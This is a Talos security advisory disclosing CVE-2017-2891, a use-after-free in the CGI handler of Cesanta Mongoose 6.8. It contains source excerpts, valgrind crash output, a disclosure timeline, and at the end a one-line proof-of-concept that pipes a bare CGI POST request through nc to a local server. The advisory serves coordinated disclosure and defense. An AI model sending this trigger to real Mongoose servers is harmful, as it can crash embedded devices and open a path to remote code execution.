Talos Vulnerability Report

TALOS-2017-0398

Cesanta Mongoose HTTP Server CGI Remote Code Execcution Vulnerability

October 31, 2017
CVE Number

CVE-2017-2891

Summary

An exploitable use-after-free vulnerability exists in the HTTP server implementation of Cesanta Mongoose 6.8. An ordinary HTTP POST request with a CGI target can cause a reuse of previously freed pointer potentially resulting in remote code execution. An attacker needs to send this HTTP request over network to trigger this vulnerability.

Tested Versions

Cesanta Mongoose 6.8

Product URLs

https://cesanta.com/

CVSSv3 Score

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Mongoose is a monolithic library implementing a number of networking protocols, including HTTP, MQTT, MDNS and others. It is designed with embedded devices in mind and as such is used in many IoT devices and runs on virtually all platforms.

While parsing a specific type of POST request that targets a CGI script, a use-after-free vulnerability is triggered, if compiled with CGI support which is the default. When doing the initial parsing, a structure of type mg_connection is allocated in function mg_create_connection_base. Then, while working on a reply and since this is a CGI request (target of the request just needs to end with set CGI extension, “.cgi” by default), a CGI handler is invoked in the function mg_send_http_file:

} else if (is_cgi) {
#if MG_ENABLE_HTTP_CGI
 mg_handle_cgi(nc, index_file ? index_file : path, path_info, hm, opts);
#else

In function mg_handle_cgi a new connection structure is allocated and a previous one is added to it:

 struct mg_connection *cgi_nc =
     mg_add_sock(nc->mgr, fds[0], mg_cgi_ev_handler);                                [1]
 struct mg_http_proto_data *cgi_pd = mg_http_get_proto_data(nc);                
 cgi_pd->cgi.cgi_nc = cgi_nc;
 cgi_pd->cgi.cgi_nc->user_data = nc;                                                [2]
 nc->flags |= MG_F_USER_1;

In above code, at [1], a new connection structure is created and at [2], the old nc is set as the user_data field. Since the initial client connection is deemed done, it’s being cleaned and the first mg_connection structure is freed by calling mg_close_conn in function mg_socket_if_poll. This leaves the cgi_pd->cgi.cgi_nc->user_data pointer set at [2] pointing to freed memory. Then, when executing the actual CGI event handler function mg_cgi_ev_handler this freed data will be accessed in different places depending on the event:

static void mg_cgi_ev_handler(struct mg_connection *cgi_nc, int ev,
                           void *ev_data) {
 struct mg_connection *nc = (struct mg_connection *) cgi_nc->user_data; [3]


...
  case MG_EV_CLOSE:
   mg_http_free_proto_data_cgi(&mg_http_get_proto_data(nc)->cgi); [4]
   nc->flags |= MG_F_SEND_AND_CLOSE;
   Break;

In the above code, at [3] the pointer to the original connection structure is retrieved (which at this time points to freed memory) and is dereferenced at [4] which ultimately leads to read and write over unallocated memory. If a second request happens at the right time, this freed memory might contain different data or point to other structures leading to server crash and potential remote code execution with multiple carefully controlled post requests.

This vulnerability can be demonstrated via the example web server application supplied with the library. Since the server may not immediately crash, the vulnerability can be observed by running the server under memory debugger such as valgrind or AddressSanitizer.

Crash Information

Valgrind output:

==87342== Memcheck, a memory error detector
==87342== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==87342== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
==87342== Command: ./simplest_web_server
==87342== 
==87342== Invalid read of size 8
==87342==    at 0x40BD62: mg_http_get_proto_data (mongoose.c:5054)
==87342==    by 0x4138DD: mg_cgi_ev_handler (mongoose.c:8249)
==87342==    by 0x406FD9: mg_call (mongoose.c:2051)
==87342==    by 0x407318: mg_close_conn (mongoose.c:2108)
==87342==    by 0x40AE38: mg_socket_if_poll (mongoose.c:3697)
==87342==    by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342==    by 0x4020C2: main (simplest_web_server.c:33)
==87342==  Address 0x5421728 is 136 bytes inside a block of size 208 free'd
==87342==    at 0x4C2EDEB: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==87342==    by 0x407289: mg_destroy_conn (mongoose.c:2101)
==87342==    by 0x407329: mg_close_conn (mongoose.c:2109)
==87342==    by 0x40AE38: mg_socket_if_poll (mongoose.c:3697)
==87342==    by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342==    by 0x4020C2: main (simplest_web_server.c:33)
==87342==  Block was alloc'd at
==87342==    at 0x4C2FB55: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==87342==    by 0x4078F2: mg_create_connection_base (mongoose.c:2303)
==87342==    by 0x4079DC: mg_create_connection (mongoose.c:2328)
==87342==    by 0x407D45: mg_if_accept_new_conn (mongoose.c:2435)
==87342==    by 0x409A9F: mg_accept_conn (mongoose.c:3202)
==87342==    by 0x40A35C: mg_mgr_handle_conn (mongoose.c:3495)
==87342==    by 0x40ADA9: mg_socket_if_poll (mongoose.c:3690)
==87342==    by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342==    by 0x4020C2: main (simplest_web_server.c:33)
==87342== 
==87342== Invalid write of size 8
==87342==    at 0x40BD84: mg_http_get_proto_data (mongoose.c:5055)
==87342==    by 0x4138DD: mg_cgi_ev_handler (mongoose.c:8249)
==87342==    by 0x406FD9: mg_call (mongoose.c:2051)
==87342==    by 0x407318: mg_close_conn (mongoose.c:2108)
==87342==    by 0x40AE38: mg_socket_if_poll (mongoose.c:3697)
==87342==    by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342==    by 0x4020C2: main (simplest_web_server.c:33)
==87342==  Address 0x5421728 is 136 bytes inside a block of size 208 free'd
==87342==    at 0x4C2EDEB: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==87342==    by 0x407289: mg_destroy_conn (mongoose.c:2101)
==87342==    by 0x407329: mg_close_conn (mongoose.c:2109)
==87342==    by 0x40AE38: mg_socket_if_poll (mongoose.c:3697)
==87342==    by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342==    by 0x4020C2: main (simplest_web_server.c:33)
==87342==  Block was alloc'd at
==87342==    at 0x4C2FB55: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==87342==    by 0x4078F2: mg_create_connection_base (mongoose.c:2303)
==87342==    by 0x4079DC: mg_create_connection (mongoose.c:2328)
==87342==    by 0x407D45: mg_if_accept_new_conn (mongoose.c:2435)
==87342==    by 0x409A9F: mg_accept_conn (mongoose.c:3202)
==87342==    by 0x40A35C: mg_mgr_handle_conn (mongoose.c:3495)
==87342==    by 0x40ADA9: mg_socket_if_poll (mongoose.c:3690)
==87342==    by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342==    by 0x4020C2: main (simplest_web_server.c:33)
==87342== 
==87342== Invalid write of size 8
==87342==    at 0x40BD8F: mg_http_get_proto_data (mongoose.c:5056)
==87342==    by 0x4138DD: mg_cgi_ev_handler (mongoose.c:8249)
==87342==    by 0x406FD9: mg_call (mongoose.c:2051)
==87342==    by 0x407318: mg_close_conn (mongoose.c:2108)
==87342==    by 0x40AE38: mg_socket_if_poll (mongoose.c:3697)
==87342==    by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342==    by 0x4020C2: main (simplest_web_server.c:33)
==87342==  Address 0x5421730 is 144 bytes inside a block of size 208 free'd
==87342==    at 0x4C2EDEB: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==87342==    by 0x407289: mg_destroy_conn (mongoose.c:2101)
==87342==    by 0x407329: mg_close_conn (mongoose.c:2109)
==87342==    by 0x40AE38: mg_socket_if_poll (mongoose.c:3697)
==87342==    by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342==    by 0x4020C2: main (simplest_web_server.c:33)
==87342==  Block was alloc'd at
==87342==    at 0x4C2FB55: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==87342==    by 0x4078F2: mg_create_connection_base (mongoose.c:2303)
==87342==    by 0x4079DC: mg_create_connection (mongoose.c:2328)
==87342==    by 0x407D45: mg_if_accept_new_conn (mongoose.c:2435)
==87342==    by 0x409A9F: mg_accept_conn (mongoose.c:3202)
==87342==    by 0x40A35C: mg_mgr_handle_conn (mongoose.c:3495)
==87342==    by 0x40ADA9: mg_socket_if_poll (mongoose.c:3690)
==87342==    by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342==    by 0x4020C2: main (simplest_web_server.c:33)
==87342== 
==87342== Invalid read of size 8
==87342==    at 0x40BD9E: mg_http_get_proto_data (mongoose.c:5059)
==87342==    by 0x4138DD: mg_cgi_ev_handler (mongoose.c:8249)
==87342==    by 0x406FD9: mg_call (mongoose.c:2051)
==87342==    by 0x407318: mg_close_conn (mongoose.c:2108)
==87342==    by 0x40AE38: mg_socket_if_poll (mongoose.c:3697)
==87342==    by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342==    by 0x4020C2: main (simplest_web_server.c:33)
==87342==  Address 0x5421728 is 136 bytes inside a block of size 208 free'd
==87342==    at 0x4C2EDEB: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==87342==    by 0x407289: mg_destroy_conn (mongoose.c:2101)
==87342==    by 0x407329: mg_close_conn (mongoose.c:2109)
==87342==    by 0x40AE38: mg_socket_if_poll (mongoose.c:3697)
==87342==    by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342==    by 0x4020C2: main (simplest_web_server.c:33)
==87342==  Block was alloc'd at
==87342==    at 0x4C2FB55: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==87342==    by 0x4078F2: mg_create_connection_base (mongoose.c:2303)
==87342==    by 0x4079DC: mg_create_connection (mongoose.c:2328)
==87342==    by 0x407D45: mg_if_accept_new_conn (mongoose.c:2435)
==87342==    by 0x409A9F: mg_accept_conn (mongoose.c:3202)
==87342==    by 0x40A35C: mg_mgr_handle_conn (mongoose.c:3495)
==87342==    by 0x40ADA9: mg_socket_if_poll (mongoose.c:3690)
==87342==    by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342==    by 0x4020C2: main (simplest_web_server.c:33)
==87342== 
==87342== Invalid read of size 8
==87342==    at 0x4138F1: mg_cgi_ev_handler (mongoose.c:8250)
==87342==    by 0x406FD9: mg_call (mongoose.c:2051)
==87342==    by 0x407318: mg_close_conn (mongoose.c:2108)
==87342==    by 0x40AE38: mg_socket_if_poll (mongoose.c:3697)
==87342==    by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342==    by 0x4020C2: main (simplest_web_server.c:33)
==87342==  Address 0x5421768 is 200 bytes inside a block of size 208 free'd
==87342==    at 0x4C2EDEB: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==87342==    by 0x407289: mg_destroy_conn (mongoose.c:2101)
==87342==    by 0x407329: mg_close_conn (mongoose.c:2109)
==87342==    by 0x40AE38: mg_socket_if_poll (mongoose.c:3697)
==87342==    by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342==    by 0x4020C2: main (simplest_web_server.c:33)
==87342==  Block was alloc'd at
==87342==    at 0x4C2FB55: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==87342==    by 0x4078F2: mg_create_connection_base (mongoose.c:2303)
==87342==    by 0x4079DC: mg_create_connection (mongoose.c:2328)
==87342==    by 0x407D45: mg_if_accept_new_conn (mongoose.c:2435)
==87342==    by 0x409A9F: mg_accept_conn (mongoose.c:3202)
==87342==    by 0x40A35C: mg_mgr_handle_conn (mongoose.c:3495)
==87342==    by 0x40ADA9: mg_socket_if_poll (mongoose.c:3690)
==87342==    by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342==    by 0x4020C2: main (simplest_web_server.c:33)
==87342== 
==87342== Invalid write of size 8
==87342==    at 0x413905: mg_cgi_ev_handler (mongoose.c:8250)
==87342==    by 0x406FD9: mg_call (mongoose.c:2051)
==87342==    by 0x407318: mg_close_conn (mongoose.c:2108)
==87342==    by 0x40AE38: mg_socket_if_poll (mongoose.c:3697)
==87342==    by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342==    by 0x4020C2: main (simplest_web_server.c:33)
==87342==  Address 0x5421768 is 200 bytes inside a block of size 208 free'd
==87342==    at 0x4C2EDEB: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==87342==    by 0x407289: mg_destroy_conn (mongoose.c:2101)
==87342==    by 0x407329: mg_close_conn (mongoose.c:2109)
==87342==    by 0x40AE38: mg_socket_if_poll (mongoose.c:3697)
==87342==    by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342==    by 0x4020C2: main (simplest_web_server.c:33)
==87342==  Block was alloc'd at
==87342==    at 0x4C2FB55: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==87342==    by 0x4078F2: mg_create_connection_base (mongoose.c:2303)
==87342==    by 0x4079DC: mg_create_connection (mongoose.c:2328)
==87342==    by 0x407D45: mg_if_accept_new_conn (mongoose.c:2435)
==87342==    by 0x409A9F: mg_accept_conn (mongoose.c:3202)
==87342==    by 0x40A35C: mg_mgr_handle_conn (mongoose.c:3495)
==87342==    by 0x40ADA9: mg_socket_if_poll (mongoose.c:3690)
==87342==    by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342==    by 0x4020C2: main (simplest_web_server.c:33)
==87342== 
==87355== 
==87355== HEAP SUMMARY:
==87355==     in use at exit: 1,656 bytes in 9 blocks
==87355==   total heap usage: 11 allocs, 2 frees, 3,704 bytes allocated
==87355== 
==87355== LEAK SUMMARY:
==87355==    definitely lost: 0 bytes in 0 blocks
==87355==    indirectly lost: 0 bytes in 0 blocks
==87355==      possibly lost: 0 bytes in 0 blocks
==87355==    still reachable: 1,656 bytes in 9 blocks
==87355==         suppressed: 0 bytes in 0 blocks
==87355== Rerun with --leak-check=full to see details of leaked memory
==87355== 
==87355== For counts of detected and suppressed errors, rerun with: -v
==87355== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)
==87342== 
==87342== Process terminating with default action of signal 2 (SIGINT)
==87342==    at 0x5154573: __select_nocancel (syscall-template.S:84)
==87342==    by 0x40AB75: mg_socket_if_poll (mongoose.c:3657)
==87342==    by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342==    by 0x4020C2: main (simplest_web_server.c:33)
==87342== 
==87342== HEAP SUMMARY:
==87342==     in use at exit: 416 bytes in 6 blocks
==87342==   total heap usage: 14 allocs, 8 frees, 5,008 bytes allocated
==87342== 
==87342== LEAK SUMMARY:
==87342==    definitely lost: 72 bytes in 1 blocks
==87342==    indirectly lost: 0 bytes in 0 blocks
==87342==      possibly lost: 0 bytes in 0 blocks
==87342==    still reachable: 344 bytes in 5 blocks
==87342==         suppressed: 0 bytes in 0 blocks
==87342== Rerun with --leak-check=full to see details of leaked memory
==87342== 
==87342== For counts of detected and suppressed errors, rerun with: -v
==87342== ERROR SUMMARY: 6 errors from 6 contexts (suppressed: 0 from 0)

Exploit Proof-of-Concept

echo -ne "POST /a.cgi HTTP/1.1\r\n\r\n"| nc localhost 8000

Timeline

2017-08-30 - Vendor Disclosure
2017-10-31 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.